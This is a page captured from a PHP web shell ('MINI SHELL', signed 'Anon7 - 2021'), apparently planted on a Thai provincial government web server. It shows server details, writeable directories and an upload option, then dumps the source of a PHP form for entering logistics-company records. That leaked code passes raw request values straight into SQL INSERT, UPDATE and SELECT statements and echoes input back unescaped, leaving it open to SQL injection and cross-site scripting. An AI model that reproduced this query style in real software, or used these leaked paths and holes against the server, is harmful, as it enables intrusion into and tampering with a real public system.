MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /home/pathumthani_integration/integration/application/industry/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/pathumthani_integration/integration/application/industry/industry_logistics_insert.php
<?
session_start();
header("Content-Type: text/html; charset=windows-874"); 
set_time_limit(0) ; 
include_once("../../config/config_epm.inc.php");
include_once("manage_user.inc.php");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620" />
<title><?=$title_name?></title>
<link href="common/style.css" rel=stylesheet>
<link href="../../styles/styles.css" type=text/css rel=stylesheet />
<script language='javascript' src='js/function.js'></script>
<script type="text/javascript" src="js/jquery-1.3.2.js"></script>
<script type="text/javascript" src="js/swfupload/swfupload.js"></script>
<script type="text/javascript" src="js/jquery.swfupload.js"></script>
<script type="text/javascript">

function startUpload(){
$('#swfupload-control').swfupload('startUpload');
}

$(function(){
	$('#swfupload-control').swfupload({
		upload_url: "upload-img.php",
		file_post_name: 'uploadfile',
		file_size_limit : "10000",
		file_types : "*.jpg;*.png;*.bmp;*.gif",	//file_types : "*.jpg;*.png;*.bmp",
		file_types_description : "DBF files",
		file_upload_limit : 1,
		flash_url : "js/swfupload/swfupload.swf",
		button_image_url : 'js/swfupload/wdp_buttons_upload_114x29.png',
		button_width : 114,
		button_height : 29,
		button_placeholder : $('#button')[0],
		debug: false
	})
		.bind('fileQueued', function(event, file){
			var listitem='<li id="'+file.id+'" >'+
				'File: <em>'+file.name+'</em> ('+Math.round(file.size/1024)+' KB) <span class="progressvalue" ></span>'+
				'<div class="progressbar" ><div class="progress" ></div></div>'+
				'<p class="status" >Pending</p>'+
				'<span class="cancel" >&nbsp;</span>'+
				'</li>';
			$('#log').append(listitem);
			$('li#'+file.id+' .cancel').bind('click', function(){
				var swfu = $.swfupload.getInstance('#swfupload-control');
				swfu.cancelUpload(file.id);
				$('li#'+file.id).slideUp('fast');
			});
			// start the upload since it's queued
			//$(this).swfupload('startUpload');
			document.getElementById('image').value=file.name;
		})
		.bind('fileQueueError', function(event, file, errorCode, message){
			alert('Size of the file '+file.name+' is greater than limit');
		})
		.bind('fileDialogComplete', function(event, numFilesSelected, numFilesQueued){
			$('#queuestatus').text('Files Selected: '+numFilesSelected+' / Queued Files: '+numFilesQueued);
		})
		.bind('uploadStart', function(event, file){
			$('#log li#'+file.id).find('p.status').text('Uploading...');
			$('#log li#'+file.id).find('span.progressvalue').text('0%');
			$('#log li#'+file.id).find('span.cancel').hide();
		})
		.bind('uploadProgress', function(event, file, bytesLoaded){
			//Show Progress
			var percentage=Math.round((bytesLoaded/file.size)*100);
			$('#log li#'+file.id).find('div.progress').css('width', percentage+'%');
			$('#log li#'+file.id).find('span.progressvalue').text(percentage+'%');
		})
		.bind('uploadSuccess', function(event, file, serverData){			
			var item=$('#log li#'+file.id);
			item.find('div.progress').css('width', '100%');
			item.find('span.progressvalue').text('100%');
			var pathtofile='<a href="files_image/'+file.name+'" target="_blank" >view &raquo;</a>';
			item.addClass('success').find('p.status').html('Done!!! | '+pathtofile);
		})
		.bind('uploadComplete', function(event, file){
			// upload has completed, try the next one in the queue
			$(this).swfupload('startUpload');
			//window.location="xls_import_services.php?&xlsfile="+document.getElementById('xlsfile').value;
			//alert("OK");
		})
	
});	

</script>
<style type="text/css" >
#swfupload-control p{ margin:0px 0px; font-size:0.9em; }
#log{ margin:0; padding:0; width:500px;}
#log li{ list-style-position:inside; margin:2px; border:1px solid #ccc; padding:10px; font-size:12px; 
	font-family:Arial, Helvetica, sans-serif; color:#333; background:#fff; position:relative;}
#log li .progressbar{ border:1px solid #333; height:5px; background:#fff; }
#log li .progress{ background:#999; width:0%; height:5px; }
#log li p{ margin:0; line-height:18px; }
#log li.success{ border:1px solid #339933; background:#ccf9b9; }
#log li span.cancel{ position:absolute; top:5px; right:5px; width:20px; height:20px; 
	background:url('js/swfupload/cancel.png') no-repeat; cursor:pointer; }

<!--
A:link {
	FONT-SIZE: 12px;color: #000000;	FONT-FAMILY: Tahoma,  "Microsoft Sans Serif";TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
A:visited {
	FONT-SIZE: 12px; COLOR: #000000; FONT-FAMILY: Tahoma,  "Microsoft Sans Serif"; TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
A:active {
	FONT-SIZE: 12px; COLOR: #014d5f; FONT-FAMILY: Tahoma,  "Microsoft Sans Serif"; TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
A:hover {
	FONT-SIZE: 12px; COLOR: #f3960b; FONT-FAMILY: Tahoma,  "Microsoft Sans Serif"; TEXT-DECORATION: underline;FONT-WEIGHT: bold;
}
.style1 {color: #FF0000}
.style2 {font-size: 24px}
.h_menu {color:#FF9900}

-->
.bg_th{
  background-image:url(images/horiz-bg.png);
  background-repeat:repeat-x;
  font-weight:bold;
  color:#FFFFFF;
  text-align:center;
  }
</style>
<?
include("header.php");
?>
<br />
<p>
  <?
		if($_POST['Submit']){
			//$letter_date = Save_date($_POST['letter_date']);		
				
				 $strSQL_2 = "SELECT
										Count(runid) AS chkCount,name,runid,type_name
										FROM	industry_logistics
										WHERE name='".$_POST['name']."' and type_name='".$_POST['type_name']."'
										GROUP  BY name
									";
				$rsConn_2 = mysql_db_query($dbname,$strSQL_2);
				$Result_2 = mysql_fetch_assoc($rsConn_2);
				$checkRepeat=0;
				if($_GET['edit']==''){				
						if($Result_2['chkCount'] < 1){
							mysql_query("
									INSERT INTO `industry_logistics` SET 
															`name`='".$_POST['name']."',
															`type_name`='".$_POST['type_name']."',
															`location`='".$_POST['location']."',
															`tambol`='".$_POST['tambol']."',
															`amphur`='".$_POST['amphur']."',
															`province`='".$_POST['province']."',
															`image`='files_image/".$_POST['image']."',
															`gpsx`='".$_POST['lattitude']."',
															`gpsy`='".$_POST['longtitude']."',
															`update_time`=now()
													");
						//mysql_query("INSERT INTO industry_shop (name,class_name,note)VALUES('".$_POST['class_id']."','".$_POST['class_name']."','".$_POST['note']."')");
						//mysql_query("INSERT INTO da_deprecrate (type_id,useful_life,deprecrate)VALUES('".$_POST['type_id']."','".$_POST['life_low']."','".$_POST['deprecrate_low']."')");
						//mysql_query("INSERT INTO da_deprecrate (type_id,useful_life,deprecrate)VALUES('".$_POST['type_id']."','".$_POST['life_high']."','".$_POST['deprecrate_high']."')");
						
						print"<script language='JavaScript'> alert('บันทึกข้อมูลเรียบร้อยแล้ว') </script> ";
						print"<meta http-equiv=\"refresh\" content=\"0;URL=industry_logistics.php\">\n";
						exit();
						}
						else{
								$checkRepeat = 1;
						}					
				}
				else{
					//echo $Result_2['type_id'];
					if($Result_2['chkCount'] < 1 || $_GET['runid']==$Result_2['runid']){
						mysql_query("
									UPDATE `industry_logistics` SET 
															`name`='".$_POST['name']."',
															`type_name`='".$_POST['type_name']."',
															`location`='".$_POST['location']."',
															`tambol`='".$_POST['tambol']."',
															`amphur`='".$_POST['amphur']."',
															`province`='".$_POST['province']."',
															`image`='files_image/".$_POST['image']."',
															`gpsx`='".$_POST['lattitude']."',
															`gpsy`='".$_POST['longtitude']."',
															`update_time`=now()
										WHERE runid='".$_GET['runid']."'
													");
					/*mysql_query("UPDATE industry_class
											SET class_id='".$_POST['class_id']."', class_name='".$_POST['class_name']."',note='".$_POST['note']."'
											WHERE runid='".$_GET['runid']."'		");				*/	
					
					
					print"<script language='JavaScript'> alert('บันทึกข้อมูลเรียบร้อยแล้ว') </script> ";
					print"<meta http-equiv=\"refresh\" content=\"0;URL=industry_logistics.php\">\n";
					exit();
					}
						else{
								$checkRepeat = 1;
						}		
				}
		}
		
		
?>
&nbsp;<img src="images/unpublish_f2.png" width="30" height="30" border="0" align="absmiddle" /><strong style="color:#000033; font-size:18px;">
		<?			
			if($_GET['edit']==''){
				echo "แบบฟอร์มเพิ่มข้อมูลโครงข่ายคมนาคมและโลจีสติก";
			}
			else{
				echo "แบบฟอร์มแก้ไขข้อมูลโครงข่ายคมนาคมและโลจีสติก";
			}
		?></strong>
</p>
<script language="JavaScript" type="text/javascript">

	function CheckForm ( form ) {
		 if ( form.name.value == "" ) {
		 	alert("กรุณาป้อน ชื่อบริษัทขนส่ง");
			form.name.focus();
			return false;
		}
		return true;
	}		
	
function Inint_AJAX() {
   try { return new ActiveXObject("Msxml2.XMLHTTP");  } catch(e) {} //IE
   try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {} //IE
   try { return new XMLHttpRequest();          } catch(e) {} //Native Javascript
   alert("XMLHttpRequest not supported");
   return null;
}

function chkAmphur(e) {
	//alert(e.id);
     var req = Inint_AJAX();
	 var sec = document.getElementById(e.id).options[document.getElementById(e.id).options.selectedIndex].value;
     req.onreadystatechange = function () { 
          if (req.readyState==4) {
               if (req.status==200) {
			   		//alert(req.responseText);
                    document.getElementById('AmphurCHK').innerHTML=req.responseText; //รับค่ากลับมา
               } 
          }
     };
     req.open("GET", "ajax_chkAmphur.php?varChk="+sec); //สร้าง connection
     req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=tis-620"); // set Header
     req.send(null); //ส่งค่า
}

function chkTambol(e) {
	//alert(e.id);
     var req = Inint_AJAX();
	 var sec = document.getElementById(e.id).options[document.getElementById(e.id).options.selectedIndex].value;
     req.onreadystatechange = function () { 
          if (req.readyState==4) {
               if (req.status==200) {
			   		//alert(req.responseText);
                    document.getElementById('TambolCHK').innerHTML=req.responseText; //รับค่ากลับมา
               } 
          }
     };
     req.open("GET", "ajax_chkTambol.php?varChk="+sec+"&chk=1"); //สร้าง connection
     req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=tis-620"); // set Header
     req.send(null); //ส่งค่า
}

function google(){
		if(document.getElementById('show_lon').innerHTML==''){
				window.open('map.php','show','toolbar=0,location=0,directories=0,status=0,menubar=0,height=530,width=1000,resizeable=1,scrollbars=1');
		}else{
				window.open('map_edit.php?longitude='+document.getElementById('show_lon').innerHTML+'&latitude='+document.getElementById('show_lat').innerHTML,'show','toolbar=0,location=0,directories=0,status=0,menubar=0,height=530,width=1000,resizeable=1,scrollbars=1');
		}
}

</script>
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td bgcolor="#B4B4B4">
		<table width="100%" border="0" cellpadding="5" cellspacing="1">
      <tr>
        <td bgcolor="#FFFFFF" align="center">
        
        <form id="form1" name="form1" method="post" action="" onsubmit="return CheckForm(this)">
          <table width="100%" border="0">
            <tr>
              <td width="23%">&nbsp;</td>
              <td width="67%" class="style1">
			  		<?
						if($checkRepeat == 1){
							echo "*** ชื่อบริษัทขนส่งซ้ำ กรุณาตรวจสอบ";
						}
					?>
			    </td>
              <td width="10%">&nbsp;</td>
            </tr>
          	<?
			if($_GET['edit']!=''){
				$strSQL_3 = "SELECT *	FROM industry_logistics
													";	
					if($_GET['runid'] != ''){
							$strSQL_3 .= " WHERE runid= '".$_GET['runid']."'
													";
					}
				$rsConn_3 = mysql_db_query($dbname,$strSQL_3);
				$Result_3 = mysql_fetch_assoc($rsConn_3);
			}
			/*else{
						$strSQL_class = "SELECT COUNT(runid) AS NUMCLASS	FROM industry_class	";
						$rsConn_class = mysql_db_query($dbname,$strSQL_class);
						$Result_class = mysql_fetch_assoc($rsConn_class);
						$class_id_number1=$Result_class['NUMCLASS']+1;
						
						function chkSame_1($number1){
							global $dbname,$class_id_number;
							$strP1 = "SELECT COUNT(runid) as chkNUM
													FROM	industry_class
													WHERE class_id='".$number1."'
												";
							$rsP1 = mysql_db_query($dbname,$strP1);
							$Result_P1 = mysql_fetch_assoc($rsP1);
							if($Result_P1['chkNUM']<1){
									$class_id_number=$number1;
							}else{
									$strNumber=(($number1*1)+1);
									chkSame_1($strNumber);
							}
						}
						
						chkSame_1($class_id_number1);
			}*/
			//echo str_replace ( "ManUTD", "UTD", "City" );
			?>
          <tr>
              <td height="25" align="right"><span class="style1">*</span> ชื่อบริษัทขนส่ง</td>
              <td align="left"><input name="name" type="text" id="name" size="75" value="<?=($_POST['name']=='')?$Result_3['name']:$_POST['name']?>" />
               </td>
              <td>&nbsp;</td>
            </tr>
            
            <?php /*?><tr>
              <td height="25" align="right"> รายละเอียด</td>
              <td align="left"><textarea name="detail" id="detail" <?=($_GET['view']=='1')?'disabled="disabled"':''?> cols="60" rows="5"><?=($_POST['detail']=='')?$Result_3['detail']:$_POST['detail']?></textarea>
               </td>
              <td>&nbsp;</td>
            </tr>  <?php */?>
            
            <tr>
              <td height="25" align="right"> ทำเลที่ตั้ง</td>
              <td align="left"><input name="location" type="text" id="location" size="75" value="<?=($_POST['location']=='')?$Result_3['location']:$_POST['location']?>" />
               </td>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td height="25" align="right"> จังหวัด</td>
              <td align="left">
              			<select name="province" id="province" disabled="disabled" onChange="chkAmphur(this);" style="width:150px">
								  <!--<option value="">เลือกจังหวัด</option>-->
								  <?php
								//$am = mysql_query("SELECT ccDigi,ccName,ccType FROM ccaa WHERE ccType='Changwat' AND ccName NOT LIKE('%*%') ORDER By ccName ");
								$am = mysql_query("SELECT ccDigi,ccName,ccType FROM ccaa WHERE ccType='Changwat' AND ccDigi='13000000' ");
								while( $ram = mysql_fetch_array($am) ) {
								?>
									<option value="<?=$ram['ccDigi']?>" <? if($Result_3['province']==$ram['ccDigi']){ echo "selected"; } ?>>
											<?=str_replace("จังหวัด","",$ram['ccName'])?>
                                      <input name="province" type="hidden" id="province" size="48" value="<?=($_GET['edit'])?($_POST['province']=='')?$Result_3['province']:$_POST['province']:$ram['ccDigi']?>" />
                                <?
										//echo "<option value=\"".$ram['ccDigi']."\" $slted>".$ram['ccName']."</option>\n";
								}
								?>
								</select>
               </td>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td height="25" align="right"> อำเภอ</td>
              <td align="left">
              			<span id="AmphurCHK">
                                <select name="amphur" id="amphur" <?=($_GET['view']=='1')?'disabled="disabled"':''?> onChange="chkTambol(this);" style="width:150px">
								  <option value="">เลือกอำเภอ</option>
								  <?
								 // if($_GET['edit']){
								$am1 = mysql_query("SELECT ccDigi,ccName,ccType FROM ccaa WHERE ccaa.ccType =  'Aumpur' AND ccaa.ccDigi LIKE  '13%' ");
								while( $ram1 = mysql_fetch_array($am1) ) {
								?>
									<option value="<?=$ram1['ccDigi']?>" <? if($Result_3['amphur']==$ram1['ccDigi']){ echo "selected"; } ?>>
											<?=str_replace("อำเภอ","",$ram1['ccName'])?>
                                <?
										//echo "<option value=\"".$ram1['ccDigi']."\" $slted>".$ram1['ccName']."</option>\n";
								}
								 // }
								?>
								</select>
                                </span>
               </td>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td height="25" align="right"> ตำบล</td>
              <td align="left">
              			<span id="TambolCHK">
            					<select name="tambol" id="tambol" <?=($_GET['view']=='1')?'disabled="disabled"':''?> style="width:150px">
								  <option value="">เลือกตำบล</option>
								  <?
								   if($_GET['edit']){
								$am = mysql_query("SELECT ccDigi,ccName,ccType FROM ccaa WHERE ccType='Tamboon' AND ccName NOT LIKE('%*%')  AND ccaa.ccDigi LIKE  '13%' ORDER By ccName ");
								while( $ram = mysql_fetch_array($am) ) {
								?>
									<option value="<?=$ram['ccDigi']?>" <? if($Result_3['tambol']==$ram['ccDigi']){ echo "selected"; } ?>>
											<?=str_replace("ตำบล","",$ram['ccName'])?>
                                <?
										//echo "<option value=\"".$ram['ccDigi']."\" $slted>".$ram['ccName']."</option>\n";
								} }
								?>
								</select>
                         </span>
               </td>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td height="25" align="right"> ช่องทางการขนส่ง</td>
              <td align="left">
            					<select name="type_name" id="type_name" <?=($_GET['view']=='1')?'disabled="disabled"':''?> style="width:150px">
								  <option value="การขนส่งทางถนน" <?=($Result_3['type_name']=='การขนส่งทางถนน')?'selected="selected"':''?>>การขนส่งทางถนน</option>
                                  <option value="การขนส่งทางรถไฟ" <?=($Result_3['type_name']=='การขนส่งทางรถไฟ')?'selected="selected"':''?>>การขนส่งทางรถไฟ</option>
                                  <option value="การขนส่งทางน้ำ" <?=($Result_3['type_name']=='การขนส่งทางน้ำ')?'selected="selected"':''?>>การขนส่งทางน้ำ</option>
                                  <option value="การขนส่งทางอากาศ" <?=($Result_3['type_name']=='การขนส่งทางอากาศ')?'selected="selected"':''?>>การขนส่งทางอากาศ</option>								  
								</select>
               </td>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td height="25" align="right"> รูปภาพ</td>
              <td align="left">
                      <table width="100%" border="0" cellpadding="0" cellspacing="0">
                            <tr>
                                    <td width="200"><input name="image" size="30" type="text" readonly="readonly" id="image" value="<?=($_POST['image']=='')?str_replace ( "files_image/", "",$Result_3['image'] ):$_POST['image']?>" /></td>
                                    <td width="477"><input type="button" id="button" /></td>
                            </tr>
                    </table>
               </td>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td height="25" align="right"> </td>
              <td  align="left"><span id="swfupload-control">
              <p id="queuestatus"> 
			  <?
			if($_GET['edit']){
				echo '<img src="';
				echo $Result_3['image'];
				echo '" align="absmiddle" width="70" border="0"  onclick="window.open(\'';
				echo $Result_3['image'];
				echo '\')" style="cursor:pointer" />';
			}
            ?> </p>
                        <ol id="log"></ol>
            </span>
			
            <input type="button" name="Submit" value="Upload" id="boxok" style="width:80" onclick="startUpload()"/>
               </td>
              <td>&nbsp;</td>
            </tr>       
           <?php /*?> <tr>
              <td height="25" align="right"> รหัสไปษณีย์</td>
              <td align="left"><input name="zipcode" type="text" id="zipcode" size="5" maxlength="5" value="<?=($_POST['zipcode']=='')?$Result_3['zipcode']:$_POST['zipcode']?>"  onblur="return checkNumber(this,document.getElementById('txt_zipcode'));"/><span id="txt_zipcode"></span>
               </td>
              <td>&nbsp;</td>
            </tr><?php */?>
            
            <tr>
              <td height="25" align="right"> ละติจูด:</td>
              <td align="left"><div id="show_lat"><?=($_POST['lattitude']=='')?$Result_3['gpsx']:$_POST['lattitude']?></div><input name="lattitude" id="lattitude" type="hidden" value="<?=($_POST['lattitude']=='')?$Result_3['gpsx']:$_POST['lattitude']?>">
               </td>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td height="25" align="right"> ลองติจูด:</td>
              <td align="left"><div id="show_lon"><?=($_POST['longtitude']=='')?$Result_3['gpsy']:$_POST['longtitude']?></div><input name="longtitude" id="longtitude" type="hidden" value="<?=($_POST['longtitude']=='')?$Result_3['gpsy']:$_POST['longtitude']?>">
               </td>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td height="25" align="right"></td>
              <td align="left"><a href="#" onclick="google();"><img src="img/google_map_logo.png" align="absmiddle" border="0" /></a>
               </td>
              <td>&nbsp;</td>
            </tr>
            
            <tr>
              <td height="25" align="right"> </td>
              <td>
               </td>
              <td>&nbsp;</td>
            </tr>
            <tr>
              <td align="right">&nbsp;</td>
              <td>
			  		<input type="submit" name="Submit" value="บันทึก" />
                  <input type="reset" name="Submit2" value="ยกเลิก" />
				  <input type="button" name="back_main" value="ย้อนกลับ"  onclick="history.back();"/>
				</td>
              <td>&nbsp;</td>
            </tr>
          </table>
        </form>
        
     
</td></tr></table></td></tr></table>
<br />

Anon7 - 2021